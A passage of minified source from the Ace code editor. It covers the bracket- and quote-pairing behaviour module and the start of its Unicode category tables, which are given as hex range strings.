text: '',
selection: [1, 1]
};
}
}
}
});
this.add("brackets", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '[') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == ']') {
range.end.column++;
return range;
}
}
});
this.add("string_dquotes", "insertion", function(state, action, editor, session, text) {
var quotes = session.$mode.$quotes || defaultQuotes;
if (text.length == 1 && quotes[text]) {
if (this.lineCommentStart && this.lineCommentStart.indexOf(text) != -1)
return;
initContext(editor);
var quote = text;
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && (selected.length != 1 || !quotes[selected]) && editor.getWrapBehavioursEnabled()) {
return getWrapped(selection, selected, quote, quote);
} else if (!selected) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var leftChar = line.substring(cursor.column-1, cursor.column);
var rightChar = line.substring(cursor.column, cursor.column + 1);
var token = session.getTokenAt(cursor.row, cursor.column);
var rightToken = session.getTokenAt(cursor.row, cursor.column + 1);
if (leftChar == "\\" && token && /escape/.test(token.type))
return null;
var stringBefore = token && /string|escape/.test(token.type);
var stringAfter = !rightToken || /string|escape/.test(rightToken.type);
var pair;
if (rightChar == quote) {
pair = stringBefore !== stringAfter;
if (pair && /string\.end/.test(rightToken.type))
pair = false;
} else {
if (stringBefore && !stringAfter)
return null; // wrap string with different quote
if (stringBefore && stringAfter)
return null; // do not pair quotes inside strings
var wordRe = session.$mode.tokenRe;
wordRe.lastIndex = 0;
var isWordBefore = wordRe.test(leftChar);
wordRe.lastIndex = 0;
var isWordAfter = wordRe.test(leftChar);
if (isWordBefore || isWordAfter)
return null; // before or after alphanumeric
if (rightChar && !/[\s;,.})\]\\]/.test(rightChar))
return null; // there is rightChar and it isn't closing
pair = true;
}
return {
text: pair ? quote + quote : "",
selection: [1,1]
};
}
}
});
this.add("string_dquotes", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && (selected == '"' || selected == "'")) {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == selected) {
range.end.column++;
return range;
}
}
});
};
CstyleBehaviour.isSaneInsertion = function(editor, session) {
var cursor = editor.getCursorPosition();
var iterator = new TokenIterator(session, cursor.row, cursor.column);
if (!this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) {
var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1);
if (!this.$matchTokenType(iterator2.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS))
return false;
}
iterator.stepForward();
return iterator.getCurrentTokenRow() !== cursor.row ||
this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_BEFORE_TOKENS);
};
CstyleBehaviour.$matchTokenType = function(token, types) {
return types.indexOf(token.type || token) > -1;
};
CstyleBehaviour.recordAutoInsert = function(editor, session, bracket) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0]))
context.autoInsertedBrackets = 0;
context.autoInsertedRow = cursor.row;
context.autoInsertedLineEnd = bracket + line.substr(cursor.column);
context.autoInsertedBrackets++;
};
CstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (!this.isMaybeInsertedClosing(cursor, line))
context.maybeInsertedBrackets = 0;
context.maybeInsertedRow = cursor.row;
context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket;
context.maybeInsertedLineEnd = line.substr(cursor.column);
context.maybeInsertedBrackets++;
};
CstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) {
return context.autoInsertedBrackets > 0 &&
cursor.row === context.autoInsertedRow &&
bracket === context.autoInsertedLineEnd[0] &&
line.substr(cursor.column) === context.autoInsertedLineEnd;
};
CstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) {
return context.maybeInsertedBrackets > 0 &&
cursor.row === context.maybeInsertedRow &&
line.substr(cursor.column) === context.maybeInsertedLineEnd &&
line.substr(0, cursor.column) == context.maybeInsertedLineStart;
};
CstyleBehaviour.popAutoInsertedClosing = function() {
context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1);
context.autoInsertedBrackets--;
};
CstyleBehaviour.clearMaybeInsertedClosing = function() {
if (context) {
context.maybeInsertedBrackets = 0;
context.maybeInsertedRow = -1;
}
};
oop.inherits(CstyleBehaviour, Behaviour);
exports.CstyleBehaviour = CstyleBehaviour;
});
ace.define("ace/unicode",["require","exports","module"], function(require, exports, module) {
"use strict";
exports.packages = {};
addUnicodePackage({
L: "0041-005A0061-007A00AA00B500BA00C0-00D600D8-00F600F8-02C102C6-02D102E0-02E402EC02EE0370-037403760377037A-037D03860388-038A038C038E-03A103A3-03F503F7-0481048A-05250531-055605590561-058705D0-05EA05F0-05F20621-064A066E066F0671-06D306D506E506E606EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA07F407F507FA0800-0815081A082408280904-0939093D09500958-0961097109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E460E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EC60EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10A0-10C510D0-10FA10FC1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317D717DC1820-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541AA71B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C7D1CE9-1CEC1CEE-1CF11D00-1DBF1E00-1F151F18-1F1D1F20-1F451F48-1F4D1F50-1F571F591F5B1F5D1F5F-1F7D1F80-1FB41FB6-1FBC1FBE1FC2-1FC41FC6-1FCC1FD0-1FD31FD6-1FDB1FE0-1FEC1FF2-1FF41FF6-1FFC2071207F2090-209421022107210A-211321152119-211D212421262128212A-212D212F-2139213C-213F2145-2149214E218321842C00-2C2E2C30-2C5E2C60-2CE42CEB-2CEE2D00-2D252D30-2D652D6F2D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE2E2F300530063031-3035303B303C3041-3096309D-309F30A1-30FA30FC-30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A48CA4D0-A4FDA500-A60CA610-A61FA62AA62BA640-A65FA662-A66EA67F-A697A6A0-A6E5A717-A71FA722-A788A78BA78CA7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2A9CFAA00-AA28AA40-AA42AA44-AA4BAA60-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADB-AADDABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB00-FB06FB13-FB17FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF21-FF3AFF41-FF5AFF66-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",
Ll: "0061-007A00AA00B500BA00DF-00F600F8-00FF01010103010501070109010B010D010F01110113011501170119011B011D011F01210123012501270129012B012D012F01310133013501370138013A013C013E014001420144014601480149014B014D014F01510153015501570159015B015D015F01610163016501670169016B016D016F0171017301750177017A017C017E-0180018301850188018C018D019201950199-019B019E01A101A301A501A801AA01AB01AD01B001B401B601B901BA01BD-01BF01C601C901CC01CE01D001D201D401D601D801DA01DC01DD01DF01E101E301E501E701E901EB01ED01EF01F001F301F501F901FB01FD01FF02010203020502070209020B020D020F02110213021502170219021B021D021F02210223022502270229022B022D022F02310233-0239023C023F0240024202470249024B024D024F-02930295-02AF037103730377037B-037D039003AC-03CE03D003D103D5-03D703D903DB03DD03DF03E103E303E503E703E903EB03ED03EF-03F303F503F803FB03FC0430-045F04610463046504670469046B046D046F04710473047504770479047B047D047F0481048B048D048F04910493049504970499049B049D049F04A104A304A504A704A904AB04AD04AF04B104B304B504B704B904BB04BD04BF04C204C404C604C804CA04CC04CE04CF04D104D304D504D704D904DB04DD04DF04E104E304E504E704E904EB04ED04EF04F104F304F504F704F904FB04FD04FF05010503050505070509050B050D050F05110513051505170519051B051D051F0521052305250561-05871D00-1D2B1D62-1D771D79-1D9A1E011E031E051E071E091E0B1E0D1E0F1E111E131E151E171E191E1B1E1D1E1F1E211E231E251E271E291E2B1E2D1E2F1E311E331E351E371E391E3B1E3D1E3F1E411E431E451E471E491E4B1E4D1E4F1E511E531E551E571E591E5B1E5D1E5F1E611E631E651E671E691E6B1E6D1E6F1E711E731E751E771E791E7B1E7D1E7F1E811E831E851E871E891E8B1E8D1E8F1E911E931E95-1E9D1E9F1EA11EA31EA51EA71EA91EAB1EAD1EAF1EB11EB31EB51EB71EB91EBB1EBD1EBF1EC11EC31EC51EC71EC91ECB1ECD1ECF1ED11ED31ED51ED71ED91EDB1EDD1EDF1EE11EE31EE51EE71EE91EEB1EED1EEF1EF11EF31EF51EF71EF91EFB1EFD1EFF-1F071F10-1F151F20-1F271F30-1F371F40-1F451F50-1F571F60-1F671F70-1F7D1F80-1F871F90-1F971FA0-1FA71FB0-1FB41FB61FB71FBE1FC2-1FC41FC61FC71FD0-1FD31FD61FD71FE0-1FE71FF2-1FF41FF61FF7210A210E210F2113212F21342139213C213D2146-2149214E21842C30-2C5E2C612C652C662C682C6A2C6C2C712C732C742C76-2C7C2C812C832C852C872C892C8B2C8D2C8F2C912C932C952C972C992C9B2C9D2C9F2CA12CA32CA52CA72CA92CAB2CAD2CAF2CB12CB32CB52CB72CB92CBB2CBD2CBF2CC12CC32CC52CC72CC92CCB2CCD2CCF2CD12CD32CD52CD72CD92CDB2CDD2CDF2CE12CE32CE42CEC2CEE2D00-2D25A641A643A645A647A649A64BA64DA64FA651A653A655A657A659A65BA65DA65FA663A665A667A669A66BA66DA681A683A685A687A689A68BA68DA68FA691A693A695A697A723A725A727A729A72BA72DA72F-A731A733A735A737A739A73BA73DA73FA741A743A745A747A749A74BA74DA74FA751A753A755A757A759A75BA75DA75FA761A763A765A767A769A76BA76DA76FA771-A778A77AA77CA77FA781A783A785A787A78CFB00-FB06FB13-FB17FF41-FF5A",
Lu: "0041-005A00C0-00D600D8-00DE01000102010401060108010A010C010E01100112011401160118011A011C011E01200122012401260128012A012C012E01300132013401360139013B013D013F0141014301450147014A014C014E01500152015401560158015A015C015E01600162016401660168016A016C016E017001720174017601780179017B017D018101820184018601870189-018B018E-0191019301940196-0198019C019D019F01A001A201A401A601A701A901AC01AE01AF01B1-01B301B501B701B801BC01C401C701CA01CD01CF01D101D301D501D701D901DB01DE01E001E201E401E601E801EA01EC01EE01F101F401F6-01F801FA01FC01FE02000202020402060208020A020C020E02100212021402160218021A021C021E02200222022402260228022A022C022E02300232023A023B023D023E02410243-02460248024A024C024E03700372037603860388-038A038C038E038F0391-03A103A3-03AB03CF03D2-03D403D803DA03DC03DE03E003E203E403E603E803EA03EC03EE03F403F703F903FA03FD-042F04600462046404660468046A046C046E04700472047404760478047A047C047E0480048A048C048E04900492049404960498049A049C049E04A004A204A404A604A804AA04AC04AE04B004B204B404B604B804BA04BC04BE04C004C104C304C504C704C904CB04CD04D004D204D404D604D804DA04DC04DE04E004E204E404E604E804EA04EC04EE04F004F204F404F604F804FA04FC04FE05000502050405060508050A050C050E05100512051405160518051A051C051E0520052205240531-055610A0-10C51E001E021E041E061E081E0A1E0C1E0E1E101E121E141E161E181E1A1E1C1E1E1E201E221E241E261E281E2A1E2C1E2E1E301E321E341E361E381E3A1E3C1E3E1E401E421E441E461E481E4A1E4C1E4E1E501E521E541E561E581E5A1E5C1E5E1E601E621E641E661E681E6A1E6C1E6E1E701E721E741E761E781E7A1E7C1E7E1E801E821E841E861E881E8A1E8C1E8E1E901E921E941E9E1EA01EA21EA41EA61EA81EAA1EAC1EAE1EB01EB21EB41EB61EB81EBA1EBC1EBE1EC01EC21EC41EC61EC81ECA1ECC1ECE1ED01ED21ED41ED61ED81EDA1EDC1EDE1EE01EE21EE41EE61EE81EEA1EEC1EEE1EF01EF21EF41EF61EF81EFA1EFC1EFE1F08-1F0F1F18-1F1D1F28-1F2F1F38-1F3F1F48-1F4D1F591F5B1F5D1F5F1F68-1F6F1FB8-1FBB1FC8-1FCB1FD8-1FDB1FE8-1FEC1FF8-1FFB21022107210B-210D2110-211221152119-211D212421262128212A-212D2130-2133213E213F214521832C00-2C2E2C602C62-2C642C672C692C6B2C6D-2C702C722C752C7E-2C802C822C842C862C882C8A2C8C2C8E2C902C922C942C962C982C9A2C9C2C9E2CA02CA22CA42CA62CA82CAA2CAC2CAE2CB02CB22CB42CB62CB82CBA2CBC2CBE2CC02CC22CC42CC62CC82CCA2CCC2CCE2CD02CD22CD42CD62CD82CDA2CDC2CDE2CE02CE22CEB2CEDA640A642A644A646A648A64AA64CA64EA650A652A654A656A658A65AA65CA65EA662A664A666A668A66AA66CA680A682A684A686A688A68AA68CA68EA690A692A694A696A722A724A726A728A72AA72CA72EA732A734A736A738A73AA73CA73EA740A742A744A746A748A74AA74CA74EA750A752A754A756A758A75AA75CA75EA760A762A764A766A768A76AA76CA76EA779A77BA77DA77EA780A782A784A786A78BFF21-FF3A",
Lt: "01C501C801CB01F21F88-1F8F1F98-1F9F1FA8-1FAF1FBC1FCC1FFC",
Lm: "02B0-02C102C6-02D102E0-02E402EC02EE0374037A0559064006E506E607F407F507FA081A0824082809710E460EC610FC17D718431AA71C78-1C7D1D2C-1D611D781D9B-1DBF2071207F2090-20942C7D2D6F2E2F30053031-3035303B309D309E30FC-30FEA015A4F8-A4FDA60CA67FA717-A71FA770A788A9CFAA70AADDFF70FF9EFF9F",
Lo: "01BB01C0-01C3029405D0-05EA05F0-05F20621-063F0641-064A066E066F0671-06D306D506EE06EF06FA-06FC06FF07100712-072F074D-07A507B107CA-07EA0800-08150904-0939093D09500958-096109720979-097F0985-098C098F09900993-09A809AA-09B009B209B6-09B909BD09CE09DC09DD09DF-09E109F009F10A05-0A0A0A0F0A100A13-0A280A2A-0A300A320A330A350A360A380A390A59-0A5C0A5E0A72-0A740A85-0A8D0A8F-0A910A93-0AA80AAA-0AB00AB20AB30AB5-0AB90ABD0AD00AE00AE10B05-0B0C0B0F0B100B13-0B280B2A-0B300B320B330B35-0B390B3D0B5C0B5D0B5F-0B610B710B830B85-0B8A0B8E-0B900B92-0B950B990B9A0B9C0B9E0B9F0BA30BA40BA8-0BAA0BAE-0BB90BD00C05-0C0C0C0E-0C100C12-0C280C2A-0C330C35-0C390C3D0C580C590C600C610C85-0C8C0C8E-0C900C92-0CA80CAA-0CB30CB5-0CB90CBD0CDE0CE00CE10D05-0D0C0D0E-0D100D12-0D280D2A-0D390D3D0D600D610D7A-0D7F0D85-0D960D9A-0DB10DB3-0DBB0DBD0DC0-0DC60E01-0E300E320E330E40-0E450E810E820E840E870E880E8A0E8D0E94-0E970E99-0E9F0EA1-0EA30EA50EA70EAA0EAB0EAD-0EB00EB20EB30EBD0EC0-0EC40EDC0EDD0F000F40-0F470F49-0F6C0F88-0F8B1000-102A103F1050-1055105A-105D106110651066106E-10701075-1081108E10D0-10FA1100-1248124A-124D1250-12561258125A-125D1260-1288128A-128D1290-12B012B2-12B512B8-12BE12C012C2-12C512C8-12D612D8-13101312-13151318-135A1380-138F13A0-13F41401-166C166F-167F1681-169A16A0-16EA1700-170C170E-17111720-17311740-17511760-176C176E-17701780-17B317DC1820-18421844-18771880-18A818AA18B0-18F51900-191C1950-196D1970-19741980-19AB19C1-19C71A00-1A161A20-1A541B05-1B331B45-1B4B1B83-1BA01BAE1BAF1C00-1C231C4D-1C4F1C5A-1C771CE9-1CEC1CEE-1CF12135-21382D30-2D652D80-2D962DA0-2DA62DA8-2DAE2DB0-2DB62DB8-2DBE2DC0-2DC62DC8-2DCE2DD0-2DD62DD8-2DDE3006303C3041-3096309F30A1-30FA30FF3105-312D3131-318E31A0-31B731F0-31FF3400-4DB54E00-9FCBA000-A014A016-A48CA4D0-A4F7A500-A60BA610-A61FA62AA62BA66EA6A0-A6E5A7FB-A801A803-A805A807-A80AA80C-A822A840-A873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC",
M: "0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26",
Mn: "0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26",
Mc: "0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC",
Me: "0488048906DE20DD-20E020E2-20E4A670-A672",
N: "0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",
Nd: "0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19",
Nl: "16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF",
No: "00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835",
P: "0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65",
Pd: "002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D",
Ps: "0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62",
Pe: "0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63",
Pi: "00AB2018201B201C201F20392E022E042E092E0C2E1C2E20",
Pf: "00BB2019201D203A2E032E052E0A2E0D2E1D2E21",
Pc: "005F203F20402054FE33FE34FE4D-FE4FFF3F",
Po: "0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65",
S: "0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD",
